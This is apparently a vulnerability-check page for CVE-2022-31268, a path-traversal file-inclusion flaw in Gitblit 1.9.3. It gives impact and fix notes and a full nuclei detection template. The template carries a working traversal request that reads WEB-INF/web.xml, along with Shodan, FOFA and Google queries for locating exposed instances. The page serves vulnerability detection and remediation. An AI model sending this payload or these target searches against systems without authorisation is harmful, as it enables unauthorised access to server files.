Gitblit 1.9.3 - Local File Inclusion

highseverity

7.5CVSS score

10.7%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Gitblit 1.9.3 is vulnerable to local file inclusion via /resources//../ (e.g., followed by a WEB-INF or META-INF pathname).

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the affected system.

Fix

Upgrade Gitblit to a version that is not affected by the vulnerability (CVE-2022-31268).

How to confirm it

Send: GET {{BaseURL}}/resources//../WEB-INF/web.xml
Positive when: contains "</web-app>" and "java.sun.com" and "gitblit.properties" AND contains in header "application/xml" AND status 200

Run it with nuclei: nuclei -id CVE-2022-31268 -u <target>

The full check

id: CVE-2022-31268

info:
  name: Gitblit 1.9.3 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    Gitblit 1.9.3 is vulnerable to local file inclusion via /resources//../ (e.g., followed by a WEB-INF or META-INF pathname).
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the affected system.
  remediation: |
    Upgrade Gitblit to a version that is not affected by the vulnerability (CVE-2022-31268).
  reference:
    - https://github.com/metaStor/Vuls/blob/main/gitblit/gitblit%20V1.9.3%20path%20traversal/gitblit%20V1.9.3%20path%20traversal.md
    - https://vuldb.com/?id.200500
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31268
    - https://github.com/Marcuccio/kevin
    - https://github.com/20142995/sectool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-31268
    cwe-id: CWE-22
    epss-score: 0.10694
    epss-percentile: 0.95849
    cpe: cpe:2.3:a:gitblit:gitblit:1.9.3:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: gitblit
    product: gitblit
    shodan-query:
      - http.html:"Gitblit"
      - http.title:"gitblit"
      - http.html:"gitblit"
    fofa-query:
      - title="gitblit"
      - body="gitblit"
    google-query: intitle:"gitblit"
  tags: cve,cve2022,lfi,gitblit,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/resources//../WEB-INF/web.xml"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</web-app>"
          - "java.sun.com"
          - "gitblit.properties"
        condition: and

      - type: word
        part: header
        words:
          - "application/xml"

      - type: status
        status:
          - 200

References

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